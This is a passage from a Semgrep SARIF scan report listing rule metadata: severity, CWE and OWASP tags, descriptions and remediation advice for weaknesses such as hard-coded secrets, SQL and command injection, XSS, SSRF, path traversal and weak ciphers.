push"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.ecr-image-scan-on-push.ecr-image-scan-on-push","id":"terraform.lang.security.ecr-image-scan-on-push.ecr-image-scan-on-push","name":"terraform.lang.security.ecr-image-scan-on-push.ecr-image-scan-on-push","properties":{"precision":"very-high","tags":["CWE-1104: Use of Unmaintained Third Party Components","LOW CONFIDENCE","OWASP-A06:2021 - Vulnerable and Outdated Components","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.ecr-image-scan-on-push.ecr-image-scan-on-push"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","id":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","name":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.okhttp.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mongoose.node-mongoose-hardcoded-secret.node-mongoose-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.mongoose.node-mongoose-hardcoded-secret.node-mongoose-hardcoded-secret","id":"javascript.mongoose.node-mongoose-hardcoded-secret.node-mongoose-hardcoded-secret","name":"javascript.mongoose.node-mongoose-hardcoded-secret.node-mongoose-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mongoose.node-mongoose-hardcoded-secret.node-mongoose-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-os-command-paramiko-django.tainted-os-command-paramiko-django)\n - [https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command](https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-os-command-paramiko-django.tainted-os-command-paramiko-django","id":"python.django.os.tainted-os-command-paramiko-django.tainted-os-command-paramiko-django","name":"python.django.os.tainted-os-command-paramiko-django.tainted-os-command-paramiko-django","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-os-command-paramiko-django.tainted-os-command-paramiko-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using 'locals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'locals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead."},"help":{"markdown":"Using 'locals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'locals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.locals-as-template-context.locals-as-template-context)\n - [https://docs.djangoproject.com/en/3.2/ref/settings/#templates](https://docs.djangoproject.com/en/3.2/ref/settings/#templates)\n - [https://docs.djangoproject.com/en/3.2/topics/templates/#django.template.backends.django.DjangoTemplates](https://docs.djangoproject.com/en/3.2/topics/templates/#django.template.backends.django.DjangoTemplates)\n - [https://docs.djangoproject.com/en/3.2/ref/templates/api/#rendering-a-context](https://docs.djangoproject.com/en/3.2/ref/templates/api/#rendering-a-context)\n","text":"Using 'locals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'locals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead."},"helpUri":"https://semgrep.dev/r/python.django.security.locals-as-template-context.locals-as-template-context","id":"python.django.security.locals-as-template-context.locals-as-template-context","name":"python.django.security.locals-as-template-context.locals-as-template-context","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.locals-as-template-context.locals-as-template-context"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found request parameters in a call to `render`. This can allow end users to request arbitrary local files which may result in leaking sensitive information persisted on disk. Where possible, avoid letting users specify template paths for `render`. If you must allow user input, use an allow-list of known templates or normalize the user-supplied value with `File.basename(...)`."},"help":{"markdown":"Found request parameters in a call to `render`. This can allow end users to request arbitrary local files which may result in leaking sensitive information persisted on disk. Where possible, avoid letting users specify template paths for `render`. If you must allow user input, use an allow-list of known templates or normalize the user-supplied value with `File.basename(...)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-render-local-file-include.check-render-local-file-include)\n - [https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion)\n - [https://github.com/presidentbeef/brakeman/blob/f74cb53/test/apps/rails2/app/controllers/home_controller.rb#L48-L60](https://github.com/presidentbeef/brakeman/blob/f74cb53/test/apps/rails2/app/controllers/home_controller.rb#L48-L60)\n","text":"Found request parameters in a call to `render`. This can allow end users to request arbitrary local files which may result in leaking sensitive information persisted on disk. Where possible, avoid letting users specify template paths for `render`. If you must allow user input, use an allow-list of known templates or normalize the user-supplied value with `File.basename(...)`."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-render-local-file-include.check-render-local-file-include","id":"ruby.rails.security.brakeman.check-render-local-file-include.check-render-local-file-include","name":"ruby.rails.security.brakeman.check-render-local-file-include.check-render-local-file-include","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-render-local-file-include.check-render-local-file-include"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.peewee.python-peewee-mysql-hardcoded-secret.python-peewee-mysql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.peewee.python-peewee-mysql-hardcoded-secret.python-peewee-mysql-hardcoded-secret","id":"python.peewee.python-peewee-mysql-hardcoded-secret.python-peewee-mysql-hardcoded-secret","name":"python.peewee.python-peewee-mysql-hardcoded-secret.python-peewee-mysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.peewee.python-peewee-mysql-hardcoded-secret.python-peewee-mysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a python logger call with a potential hardcoded secret $FORMAT_STRING being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging  sensitive information."},"help":{"markdown":"Detected a python logger call with a potential hardcoded secret $FORMAT_STRING being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging  sensitive information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.logging.logger-credential-leak.python-logger-credential-disclosure)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"Detected a python logger call with a potential hardcoded secret $FORMAT_STRING being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging  sensitive information."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.logging.logger-credential-leak.python-logger-credential-disclosure","id":"python.lang.security.audit.logging.logger-credential-leak.python-logger-credential-disclosure","name":"python.lang.security.audit.logging.logger-credential-leak.python-logger-credential-disclosure","properties":{"precision":"very-high","tags":["CWE-532: Insertion of Sensitive Information into Log File","MEDIUM CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.logging.logger-credential-leak.python-logger-credential-disclosure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Slack Token detected"},"help":{"markdown":"Slack Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-slack-token.detected-slack-token)\n - [https://github.com/davidburkitt/python-secret-scanner/blob/335a1f6dab8de59cf39063e57aea39a58951e939/patterns.txt#L58](https://github.com/davidburkitt/python-secret-scanner/blob/335a1f6dab8de59cf39063e57aea39a58951e939/patterns.txt#L58)\n","text":"Slack Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-slack-token.detected-slack-token","id":"generic.secrets.security.detected-slack-token.detected-slack-token","name":"generic.secrets.security.detected-slack-token.detected-slack-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-slack-token.detected-slack-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"help":{"markdown":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.jwt-scala.security.jwt-scala-hardcode.jwt-scala-hardcode)\n - [https://jwt-scala.github.io/jwt-scala/](https://jwt-scala.github.io/jwt-scala/)\n","text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"helpUri":"https://semgrep.dev/r/scala.jwt-scala.security.jwt-scala-hardcode.jwt-scala-hardcode","id":"scala.jwt-scala.security.jwt-scala-hardcode.jwt-scala-hardcode","name":"scala.jwt-scala.security.jwt-scala-hardcode.jwt-scala-hardcode","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: scala.jwt-scala.security.jwt-scala-hardcode.jwt-scala-hardcode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password.node-sequelize-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password.node-sequelize-empty-password","id":"javascript.sequelize.node-sequelize-empty-password.node-sequelize-empty-password","name":"javascript.sequelize.node-sequelize-empty-password.node-sequelize-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-empty-password.node-sequelize-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.node-stdlib.db.sequelize-http.sequelize-http)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.node-stdlib.db.sequelize-http.sequelize-http","id":"javascript.node-stdlib.db.sequelize-http.sequelize-http","name":"javascript.node-stdlib.db.sequelize-http.sequelize-http","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.node-stdlib.db.sequelize-http.sequelize-http"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ARC4 (Alleged RC4) is a stream cipher with serious weaknesses in its initial stream output.  Its use is strongly discouraged. ARC4 does not use mode constructions. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use the `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"help":{"markdown":"ARC4 (Alleged RC4) is a stream cipher with serious weaknesses in its initial stream output.  Its use is strongly discouraged. ARC4 does not use mode constructions. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use the `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms-arc4.insecure-cipher-algorithm-arc4)\n - [https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#weak-ciphers](https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#weak-ciphers)\n","text":"ARC4 (Alleged RC4) is a stream cipher with serious weaknesses in its initial stream output.  Its use is strongly discouraged. ARC4 does not use mode constructions. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use the `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms-arc4.insecure-cipher-algorithm-arc4","id":"python.cryptography.security.insecure-cipher-algorithms-arc4.insecure-cipher-algorithm-arc4","name":"python.cryptography.security.insecure-cipher-algorithms-arc4.insecure-cipher-algorithm-arc4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-cipher-algorithms-arc4.insecure-cipher-algorithm-arc4"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.react-create-element-dangerouslysetinnerhtml-url.react-create-element-dangerouslysetinnerhtml-url)\n - [https://medium.com/dailyjs/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1](https://medium.com/dailyjs/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.react.react-create-element-dangerouslysetinnerhtml-url.react-create-element-dangerouslysetinnerhtml-url","id":"typescript.react.react-create-element-dangerouslysetinnerhtml-url.react-create-element-dangerouslysetinnerhtml-url","name":"typescript.react.react-create-element-dangerouslysetinnerhtml-url.react-create-element-dangerouslysetinnerhtml-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.react-create-element-dangerouslysetinnerhtml-url.react-create-element-dangerouslysetinnerhtml-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-http-client-ssrf.laravel-http-client-ssrf)\n - [https://laravel.com/docs/9.x/http-client](https://laravel.com/docs/9.x/http-client)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-http-client-ssrf.laravel-http-client-ssrf","id":"php.laravel.security.laravel-http-client-ssrf.laravel-http-client-ssrf","name":"php.laravel.security.laravel-http-client-ssrf.laravel-http-client-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-http-client-ssrf.laravel-http-client-ssrf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint-sls.file-access-taint-sls)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint-sls.file-access-taint-sls","id":"java.micronaut.path-traversal.file-access-taint-sls.file-access-taint-sls","name":"java.micronaut.path-traversal.file-access-taint-sls.file-access-taint-sls","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.path-traversal.file-access-taint-sls.file-access-taint-sls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.webrepl.python-webrepl-empty-password.python-webrepl-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.webrepl.python-webrepl-empty-password.python-webrepl-empty-password","id":"python.webrepl.python-webrepl-empty-password.python-webrepl-empty-password","name":"python.webrepl.python-webrepl-empty-password.python-webrepl-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.webrepl.python-webrepl-empty-password.python-webrepl-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, 